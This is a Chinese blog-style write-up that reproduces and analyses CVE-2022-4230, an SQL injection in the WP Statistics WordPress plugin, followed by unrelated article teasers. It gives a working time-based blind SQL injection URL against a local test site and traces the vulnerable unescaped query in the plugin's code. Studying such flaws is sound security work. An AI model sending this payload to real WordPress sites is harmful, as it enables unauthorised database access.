WordPress CVE-2022-4230复现分析

news/2024/10/14 6:18:23

前言

开始CVE审计之旅
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它,其实就是没对admin进行鉴权,只对nonce进行了处理

环境搭建

WordPress v6.1 (官网下载)
wp-statistics-13.2.8 (github上找)

前置知识

wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个_wpnonce来进行认证

攻击测试

先访问http://127.0.0.1/wp-admin/admin-ajax.php?action=rest-nonce,拿到我们的_wpnonce
接着访问我们的插件的漏洞路径
http://127.0.0.1/wp-json/wp-statistics/v2/metabox?_wpnonce=ae42036543&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(if(1,SLEEP(2),0)))Mdgs)--+
这样就可以实现一个时间盲注

漏洞分析

打个断点进行调试分析,首先因为通过api来进行请求会进行一个nonce认证,我们在认证处(rest-api.php)打个断点
这里接受我们的_wpnonce,调用了wp_verify_nonce方法,跟进这个方法

function wp_verify_nonce( $nonce, $action = -1 ) {$nonce = (string) $nonce;$user  = wp_get_current_user();$uid   = (int) $user->ID;if ( ! $uid ) {/*** Filters whether the user who generated the nonce is logged out.** @since 3.5.0** @param int        $uid    ID of the nonce-owning user.* @param string|int $action The nonce action, or -1 if none was provided.*/$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );}if ( empty( $nonce ) ) {return false;}$token = wp_get_session_token();$i     = wp_nonce_tick( $action );// Nonce generated 0-12 hours ago.$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );if ( hash_equals( $expected, $nonce ) ) {return 1;}// Nonce generated 12-24 hours ago.$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );if ( hash_equals( $expected, $nonce ) ) {return 2;}/*** Fires when nonce verification fails.** @since 4.4.0** @param string     $nonce  The invalid nonce.* @param string|int $action The nonce action.* @param WP_User    $user   The current user object.* @param string     $token  The user's session token.*/do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token );// Invalid nonce.return false;
}

这里面首先对用户身份进行一个认证,要是没登录的话就寄,然后对nonce进行一个对比,这里有两处对比,满足任意皆可,不过不是很明白为什么要分时间段认证,因为我们通过api接口拿到的nonce,肯定是能过认证的,返回之后,中间有些dispatch和callback调用之类的,我们就不看了,直接来到我们的插件处

public function register_routes(){// Get Admin Meta Boxregister_rest_route(self::$namespace, '/metabox', array(array('methods'             => \WP_REST_Server::READABLE,'callback'            => array($this, 'meta_box_callback'),'args'                => array('name' => array('required' => true)),'permission_callback' => function (\WP_REST_Request $request) {// Check User Auth$user = wp_get_current_user();if ($user->ID == 0) {return false;}return current_user_can(Option::get('read_capability', 'manage_options'));})));}

这里注册了一个路由,定义了一个permission_callback,我们跟进current_user_can,兜兜转转来到class-wp-reset-server.php

看这里的$handler['callback']其实就是之前定义的permission_callback

通过call_user_func调用这个callback,跟进

看这里request中需要有name参数,我们传的是name=words,这里就会调用Meta_Box中的words类,跟进

class words
{public static function get($args = array()){// Prepare Responsetry {$response = SearchEngine::getLastSearchWord($args);} catch (\Exception $e) {$response = array();}// Check For No Data Meta Boxif (count(array_filter($response)) < 1) {$response['no_data'] = 1;}// Responsereturn $response;}}

words类很简单,我们跟进SearchEngine::getLastSearchWord

这里解析我们的GET参数,然后直接拼接到这个sql语句里了,没有做任何的处理也就导致了注入

$wpdb->get_results("SELECT * FROM `" . DB::table('search') . "` INNER JOIN `" . DB::table('visitor') . "` on `" . DB::table('search') . "`.`visitor` = " . DB::table('visitor') . ".`ID` WHERE {$search_query} ORDER BY `" . DB::table('search') . "`.`ID` DESC " . ($args['limit'] != null ? " LIMIT " . $args['limit'] : " LIMIT 0, {$args['per_page']}"));

注入点是这个$search_query$args['search_engine']是由我们控制的,最终在where处实现注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/26815.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

光影看图 v4.5.6.32 绿色版

更新流水:2024.04.30:跟进官方 4.5.6.32 , 第一版 修改内容:by.星罗月兔&DxFans去校验(方案来自@星罗月兔);去更新;去多余组件及无用菜单!下载地址:https://down.neoimaging.cn/neoimaging/NeoViewerSetup_10000_4.5.6.32.exe本文来自博客园,作者:萌面蛋饺,转载请注明…

js逆向实战之某证信Accept-Enckey参数加密解析

url:https://webapi.cninfo.com.cn/#/marketDataDate 分析过程抓包,主要关注图中标记的数据包,它的回显数据是我们所需要的。但在该数据包的请求中有一个Accept-Enckey参数是经过加密的,需要知道其加密的逻辑。全局搜索sysapi/p_sysapi1007,只有一处符合的。找到对应地方,…

vite vue-cli 读取文件原始内容 使用base64内容的文件

新建文件 img.dataurl 中存放图片base64 <img class=img :src=dataurl alt= /> import dataurl from ./img.dataurl data(){ return { dataurl:dataurl } } vue.config.js module.exports=defineConfig({ configureWebpack:{module:{rules:[{test:/\.dataurl$/,loader…

Seata AT模式学习

官方文档 Seata是目前国内最流行的一个分布式事务的组件,支持以下4种模式 AT模式:对业务代码无侵入,只要在业务的数据库加上一个UNDO_LOG表,在配置文件中配置好Seata的服务端,在需要开启全局事务的地方加上注解就行 TCC模式:即Try-Commit-Cancel,自定义prepare逻辑、com…

最好用的AI换脸软件,rope下载介绍(支持cpu)

随着AI技术的广泛运用,市面上的换脸软件也多了起来,今天给各位介绍其中的王者Rope! 先上两个动图,给大伙看看效果rope是如何实现这种自然的效果呢?这得益于机器学习技术的不断发展,rope经过深度神经网络的无数次迭代优化,最终得出的模型可以自动学习和识别视频中的人脸特…

提高学生学习成绩和自我效能感:护理培训的移动聊天机器人方法

(Promoting students learning achievement and self-efficacy: A mobile chatbot approach for nursing training) DOI: 10.1111/bjet.13158 一、摘要 研究目的:护理培训的目的不仅在于掌握技能,更在于培养解决问题的决策能力。然而,产科疫苗接种知识等培训项目大多采用以讲…

ESXI上安装和使用MegaCli

一、下载安装包 目前官网找不到安装包了,这里提供一个MegaCli-8.04.07:https://www.lanzoub.com/iUzBn1tyhdxi 二、将安装包解压上传到esxi 可以通过sftp或者其他工具上传到esxi中,不太建议在esxi上直接下载,我提供的是rar压缩包。这里我使用WinSCP工具上传到esxi中,下载地…

装备购买

解释一下蓝书上的做法 按照数学归纳法证明这个贪心,假设当前在第\(i\)行,前面已经选出\(i-1\)个线性无关的向量了(非零行),那么对于这一行,如果最终的结果不选\(z[k]\),而是选了另一个\(z[l]\),那么最终的向量组加入\(z[k]\)后就线性相关了,\(z[k]\)可以被这个向量组唯…